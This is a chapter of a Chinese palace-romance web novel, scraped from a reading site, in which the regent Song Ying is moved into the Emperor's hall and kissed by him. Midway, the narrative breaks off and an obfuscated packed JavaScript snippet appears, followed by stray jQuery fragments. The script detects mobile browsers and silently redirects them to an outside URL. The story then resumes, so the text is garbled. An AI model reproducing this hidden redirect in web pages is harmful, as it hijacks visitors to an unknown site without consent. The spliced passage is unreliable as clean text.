123读书网 > 玄幻小说 > 限制文反派他不按剧本走 > 30. 第 30 章
    长夜将尽,天色未明。


    破晓晨钟,穿透重重殿宇,悠悠荡来,涤荡万籁俱寂。


    宋迎眼睫微颤,她被这钟声惊醒了。


    突然,她想到了什么。


    心脏骤然一缩,猛地睁眼,望向身侧。


    空了。


    他走了?


    他什么时候走的?


    自己……竟然在万春殿睡了这么久???!


    她手脚发软,从软塌上滚了下来,跌坐在地。


    一身朝服被她睡得乱七八糟,领口歪斜,发髻也散了。


    这还怎么去上朝?


    宋迎手忙脚乱地整理着皱成一团的外袍。


    突然,眼角余光一瞥。


    离床榻不远的小凳上,叠着一套崭新的绀黄朝袍,旁边,还搭着一件白狐裘大氅。


    宋迎的动作顿住了。


    她走过去,指尖试探着碰了碰,毛茸茸触感带着暖意,微微刺了她一下。


    ……提前备下的?


    宋迎心头一颤,起身推开窗,裹着雪的冷风扑面而来。


    外头,下雪了。


    是京州初雪,细雪如盐,纷纷扬扬,尽数覆上清寂霜白。


    天地间仿佛只余下落雪的簌簌声。


    好安静。


    雪的声音,好安静。


    心头那点慌乱,竟被这场突如其来的雪抚平了。


    可是宋迎来不及多欣赏。


    一刻钟后,她换上朝服,匆匆往金銮殿赶去。


    她身为摄政王不过数日,状态已经能够切换自如了。


    踏过高高门槛,厉色闪过,清澈杏眼陡然沉下,敛去所有波澜。


    金銮殿上,两个时辰下来,宋迎只觉得口干舌燥,心力交瘁。


    好在,昨日与永昭帝的交锋让她早有准备。


    任凭那群老狐狸如何巧立名目,她三言两语便能拆解他们的攻势,将话柄不软不硬地顶回去。


    虽是艰难,却也未落下风。


    朝事议下大半,也该退朝了。


    看着高伯深为首的一派官员那青白交加的老脸,宋迎懒得多言,利落甩袖,转身便走。


    退朝!


    下班!


    身后却传来一道急切的呼唤:“殿下请留步!”


    只见一个身着五品文官朝服的年轻人正朝她跑来,气息微喘地在她面前站定,恭敬行礼。


    都下班了还来找她干嘛?


    宋迎没什么好脸色,她端出摄政王的仪态,那眼神瞬间凉了三分。


    “下官工部盛向明,叩谢殿下知遇之恩!江南治水一事,下官……下官定当鞠躬尽瘁,死而后已!”


    奏折上的名字,与人脸对上了号。


    宋迎有些印象了。


    她还以为那老练犀利的行文出自中年干吏之手,未曾想,竟是这么个初出茅庐的愣头青。


    眼底寒意散去,宋迎展眉一笑,“好,本王信你。”


    说着,指节微屈,宋迎学着那些书里大人物惯有的姿态,有些生涩地拍了拍他的肩。


    盛向明却像是得了天大的恩赏,激动得身体一僵,复又深深一揖:“下官定不负殿下所托!”


    这年轻人显然是个实心眼,不懂官场里的弯弯绕绕。


    她余光一瞥,周围还没走远的官员们,纷纷投来目光,随即又加快了脚步。


    但凡多在官场滚几年,也做不出大庭广众之下,与摄政王热聊的事。


    盛向明没有察觉到宋迎异样的眼神,感激涕零地又表了一通决心,寒暄了四五个来回才肯放宋迎走。


    好不容易送走了满腔热血,宋迎加快脚步下班。


    然而,当她推开偏殿大门时,却愣住了——


    屋里,空空如也。


    润德公公在养病,没有他点头,底下的小太监连个屁都不敢放。


    所以,到底是谁的意思,不言而喻。


    怒气“噌”一下窜上脑门,宋迎做了好几个深呼吸才将其压回心底。


    她没有去寻那些小太监的麻烦。


    而是转身,径直去了万春殿。


    殿内恍若初春,厚厚地毯铺展脚下,悄然吞没了足音,也吞没了她满身的风雪与寒意。


    然后,她看见了她的家当——


    有几本旧书被放在了书架上;


    她打珞子时,缠成一团没来得及收拾的棉线,被理好放在案几上;


    还有她藏着私房钱的小箱子,被堂而皇之安置在了博古架上。


    整整齐齐,安安稳稳。


    仿佛它们本该属于这里。


    这是……什么意思?


    “回来了?”


    一道慵懒嗓音自身后响起,敲在她耳膜上。


    宋迎猛地回头——


    她的视线穿过一道晃动的珠帘。


    内殿光线昏昧,永昭帝站在那光与影的交界处。


    只随意披着一件素白寝衣,领口大敞,露出一段冷白脖颈和线条分明的锁骨。


    墨发未束,湿漉漉地披散在肩头,水珠顺着发梢,没入衣襟深处。


    那双幽暗凤眸,穿过摇曳珠光,正一瞬不瞬地将她牢牢锁住。


    豺狼露出了最原始、最危险的姿态。


    大白天的洗什么澡啊。


    宋迎垂下眼,声音干巴巴的:“……陛下。”


    “过来。”


    不容拒绝、也不允许拒绝。


    宋迎一步步挪了过去,鼻息间,尽是潮湿水汽。


    她停在了珠帘前,不敢再近。


    “你的东西,都搬过来了。”永昭帝抬手,随意拨开一串珠帘,露出半张脸来,“可还满意?”


    满意?满意个屁!


    她什么时候说过要搬过来了?!


    这是强买强卖!这是非法入侵!


    宋迎暗中觑着他,见他面色虽白,但中气十足,眼神锐利,力气估计都够绕万春殿跑三圈了。


    看来黎婧容当初下的那点药,早就被他代谢干净了。


    真他丫的祸害遗千年。


    “陛下,臣惶恐。”宋迎挣扎道,“臣见陛下今日精神矍铄,龙体康健,想来已无大碍……”


    话音未落,永昭帝突然大声咳嗽起来。


    那咳声惊天动地,不见虚弱,像是故意咳给她听的,敷衍得明目张胆。


    他咳完了,才慢悠悠地掀起眼皮,眼底一片笑意。


    “朕的身子,朕说病了,便是病了。”


    一句话,将宋迎所有的退路堵死。


    她一口气堵在喉咙口,上不去也下不来。


    霸道!蛮横!仗病行凶!


    书里那个“病弱体虚”的永昭帝,原来是这么个“病弱”法!


    见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946475|175247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宋迎小脸气得涨红,却又不敢发作,只得怔在原地。


    永昭帝眼底兴味更浓。


    他喜欢看她这副模样——


    湿漉漉的眼眸、颤抖的身体、紧咬的下唇。


    他伸出手,彻底撩开碍事的珠帘。


    “宋迎,”他目光灼灼地盯着她的唇,“既是朕的药,就该有做药的本分。”


    话音落下的瞬间,手臂不由分说揽住那截腰肢。


    不等宋迎惊呼,吻,俯身落下。


    珠帘轻摇,光影凌乱,宋迎失手抓住一串珠子。


    舌尖撬开齿关,攻城掠池。


    宋迎心口微颤——


    五指一松,满串珠玉从指间滑落,砸下靡丽的清脆。


    这狗皇帝……吻技好像又进步了。


    起初是急切的、贪婪的、不容喘息的,渐渐地,却又放缓了力道……


    更何况狗皇帝刚刚洗过澡,墨发半湿,寝衣松垮……


    难保宋迎不多想——


    熬不到晚上,光天白日的,恐怕……


    算了。


    她闭上眼,试探着伸手,在腰腹上摸了一把。


    嗯,手感还行。


    就在她以为一切都将失控时,唇上的力道却倏然一松。


    永昭帝放开了她,后退一步,眼底翻涌的潮水已然褪去。


    他拢了拢微敞的衣襟,“今夜,就睡在里间吧。”


    说罢,真的去披了件外衫,径直走向御案。


    “还愣着做什么,”他头也不回地吩咐,“过来,替朕磨墨。”


    高压教学又要开始了。


    宋迎:…………?


    她觉得自己每次都想歪。


    每次。都。


    这样很不好。


    非常不好。


    可是——


    又亲又抱,又让人同睡,气氛都烘托到这儿了,这难道不是某种心照不宣的流程吗?!


    她连被子都准备掀了,他就给她看奏折?!


    宋迎快气炸了。


    ……


    ……


    夜,又深了。


    万春殿的御榻,比昨日的更大,更软。


    可宋迎躺在上面,无论如何也睡不着了。


    宋迎真的好气。


    孤男寡欲共处一室。


    把人撩拨得心浮气躁,拖上床,就盖着被子,三、秒、入、睡?!


    这合理吗?


    这狗皇帝是不是在吊着她啊?


    宋迎越想越气。


    黑暗中,她终于没忍住:


    “日哦。”


    她把心里话骂出来了。


    身侧平稳的呼吸骤然一乱。


    宋迎的心瞬间提到了嗓子眼。


    他醒了?


    听见了?!


    突然,她听见了一声:


    “别走……”


    像是喉间尚未吞下的呓语。


    紧接着,是细微的、压抑的喘息。


    “……冷……”


    宋迎屏住呼吸,僵着身体,一动不敢动。


    “百……墓……别去……”


    百墓是什么东西?


    好像哪里听过。


    还没等她消化这个信息,一只大手猛地抓住了她的手腕!


    宋迎瞳孔骤缩,搞什么,白日禁欲,晚上梦游发疯啊!